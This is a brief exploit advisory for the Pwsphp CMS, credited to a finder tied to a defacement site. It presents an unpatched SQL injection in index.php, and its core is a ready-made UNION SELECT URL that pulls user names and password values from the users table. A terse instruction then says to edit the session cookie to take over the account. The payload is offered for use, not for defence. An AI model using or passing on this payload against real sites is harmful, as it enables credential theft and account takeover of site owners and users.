pwsphpSQL.txt

`--------------------Summary----------------  
  
Software: Pwsphp CMS  
Sowtware's Web Site: http://www.pwsphp.com/  
Versions: ALL  
Type: Injection SQL  
Class: Remote  
Status: Unpatched. No reply from developer(s)  
Exploit: Available  
Solution: Not Available  
Discovered by: papipsycho  
SITE : (papipsycho.com & WOrlddefacers.de)  
  
-----------------Description---------------  
  
Vulnerable Script: index.php  
to connect has you your account exec exploit edit your cookie to change the pass and the login, to reload & enjoy  
  
--------------Exploit----------------------  
  
http://example.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*  
  
--------------Solution---------------------  
No Patch available.  
--------------Credit-----------------------  
Discovered by: papipsycho  
SITE : (papipsycho.com & WOrlddefacers.de)  
`